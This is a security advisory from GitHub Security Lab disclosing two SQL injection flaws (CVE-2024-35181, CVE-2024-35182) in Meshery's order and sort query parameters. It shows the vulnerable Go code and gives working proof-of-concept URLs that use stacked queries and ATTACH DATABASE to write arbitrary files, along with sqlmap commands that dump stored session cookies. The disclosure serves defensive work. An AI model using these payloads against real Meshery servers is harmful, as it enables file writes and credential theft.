Coordinated Disclosure Timeline
- 2024-02-12: Sent Advisory Via Email
- 2024-02-18: Security Vulnerabilities Patched
Summary
A SQL injection vulnerability in Meshery up to v0.7.22 allows a remote attacker to obtain sensitive information, alter database registries, or create arbitrary files via the order
and sort
parameters of two HTTP endpoints.
Project
Meshery
Tested Version
Details
Issue 1: SQL injection in /api/system/meshync/resources/kinds
(GHSL-2024-013
)
The Meshery project exposes the function GetMeshSyncResourcesKinds
at the API URL /api/system/meshsync/resources/kinds
. The order
query parameter is directly used to build a SQL query in meshync_handler.go
, as it can be seen in the following snippet:
func (h *Handler) GetMeshSyncResourcesKinds(rw http.ResponseWriter, r *http.Request, _ *models.Preference, _ *models.User, provider models.Provider) {
// --snip--
page, offset, limit,
search, order, sort, _ := getPaginationParams(r)
// --snip--
result := provider.GetGenericPersister().Model(&model.KubernetesResource{}).Distinct("kind").
Where("kubernetes_resources.cluster_id IN (?)", filter.ClusterIds)
// --snip--
if order != "" {
if sort == "desc" {
// --snip--
} else {
result = result.Order(order)
}
}
// --snip--
}
Impact
This issue may lead to arbitrary file write by using a SQL injection stacked queries payload, and the ATTACH DATABASE
command.
Additionally, attackers may be able to access and modify any data stored in the database, like performance profiles (which may contain session cookies), Meshery application data, or any Kubernetes configuration added to the system.
Arbitrary data read and write may be a problem depending on several factors:
- Whether there’s user authentication (if not, unauthenticated users may access the data querying the API normally).
- Whether there’s user authorization (if not, authenticated users may be able to access all data querying the API normally).
- Whether there’s actual sensitive data, like session cookies or credentials, added to Meshery (depends on the configuration).
Proof of Concept
To reproduce this issue, the following three requests can be used to write a file at an arbitrary location with arbitrary contents (note that an appropriate cookie needs to be used in the request, for local authentication use Cookie: meshery-provider=None
):
http://(server):9081/api/system/meshsync/resources/kinds?order=1%3bATTACH+DATABASE+'/tmp/test'+AS+test--
http://(server):9081/api/system/meshsync/resources/kinds?order=1%3bCREATE+TABLE+test.pwn+(dataz+text)--
http://(server):9081/api/system/meshsync/resources/kinds?order=1%3bINSERT+INTO+test.pwn+(dataz)+VALUES+("pwned")--
cat /tmp/test
pwned
Also, arbitrary database entries can be created as follows:
http://(server):9081/api/system/meshsync/resources/kinds?order=1%3bINSERT+INTO+performance_profiles+(metadata)+VALUES+("injected+data")--
To extract information from the database, blind SQL injection techniques must be used. For instance, we could use sqlmap
to automate the process of dumping the request cookies used in a performance profile:
$ sqlmap -u 'http://(victim server):9081/api/system/meshsync/resources/kinds?order=1*' --technique S --dbms SQLite --header "Cookie: meshery-provider=None" --drop-set-cookie --ignore-code=500 --batch -T performance_profiles -C request_cookies --dump
..snip..
Table: performance_profiles
[1 entry]
+---------------------------+
| request_cookies |
+---------------------------+
| {"Session": "test_value"} |
+---------------------------+
Issue 2: SQL injection in /api/v2/events
(GHSL-2024-014
)
The Meshery project exposes the function GetAllEvents
at the API URL /api/v2/events
. The sort
query parameter read in events_streamer.go
is directly used to build a SQL query in events_persister.go
, as it can be seen in the following snippets:
func (h *Handler) GetAllEvents(w http.ResponseWriter, req *http.Request, prefObj *models.Preference, user *models.User, provider models.Provider) {
// --snip--
page, offset, limit,
search, order, sortOnCol, status := getPaginationParams(req)
// --snip--
filter, err := getEventFilter(req)
// --snip--
filter.SortOn = sortOnCol
// --snip--
eventsResult, err := provider.GetAllEvents(filter, userID)
// --snip--
}
func (e *EventsPersister) GetAllEvents(eventsFilter *events.EventsFilter, userID uuid.UUID) (*EventsResponse, error) {
// --snip--
finder := e.DB.Model(&events.Event{}).Where("user_id = ?", userID)
// --snip--
if eventsFilter.Order == "asc" {
finder = finder.Order(eventsFilter.SortOn)
}
// --snip--
}
Impact
This issue may lead to arbitrary file write by using a SQL injection stacked queries payload, and the ATTACH DATABASE
command.
Additionally, attackers may be able to access and modify any data stored in the database, like performance profiles (which may contain session cookies), Meshery application data, or any Kubernetes configuration added to the system.
Arbitrary data read and write may be a problem depending on several factors:
- Whether there’s user authentication (if not, unauthenticated users may access the data querying the API normally).
- Whether there’s user authorization (if not, authenticated users may be able to access all data querying the API normally).
- Whether there’s actual sensitive data, like session cookies or credentials, added to Meshery (depends on the configuration).
Proof of Concept
http://(server):9081/api/v2/events?order=asc&sort=1%3bATTACH+DATABASE+'/tmp/test'+AS+test--
http://(server):9081/api/v2/events?order=asc&sort=1%3bCREATE+TABLE+test.pwn+(dataz+text)--
http://(server):9081/api/v2/events?order=asc&sort=1%3bINSERT+INTO+test.pwn+(dataz)+VALUES+("pwned")--
cat /tmp/test
pwned
Also, arbitrary database entries can be created as follows:
http://(server):9081/api/v2/events?order=asc&sort=1%3bINSERT+INTO+performance_profiles+(metadata)+VALUES+("injected+data")--
To extract information from the database, blind SQL injection techniques must be used. For instance, we could use sqlmap
to automate the process of dumping the request cookies used in a performance profile:
$ sqlmap -u 'http://(victim server):9081/api/v2/events?order=asc&sort=1*' --technique S --dbms SQLite --header "Cookie: meshery-provider=None" --drop-set-cookie --ignore-code=500 --batch -T performance_profiles -C request_cookies --dump
..snip..
Table: performance_profiles
[1 entry]
+---------------------------+
| request_cookies |
+---------------------------+
| {"Session": "test_value"} |
+---------------------------+
CVE
- CVE-2024-35181
- CVE-2024-35182
Credit
These issues were discovered and reported by GitHub team member @atorralba (Tony Torralba). The vulnerabilities were found with the help of CodeQL’s SQL injection query.
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-013
or GHSL-2024-014
in any communication regarding these issues.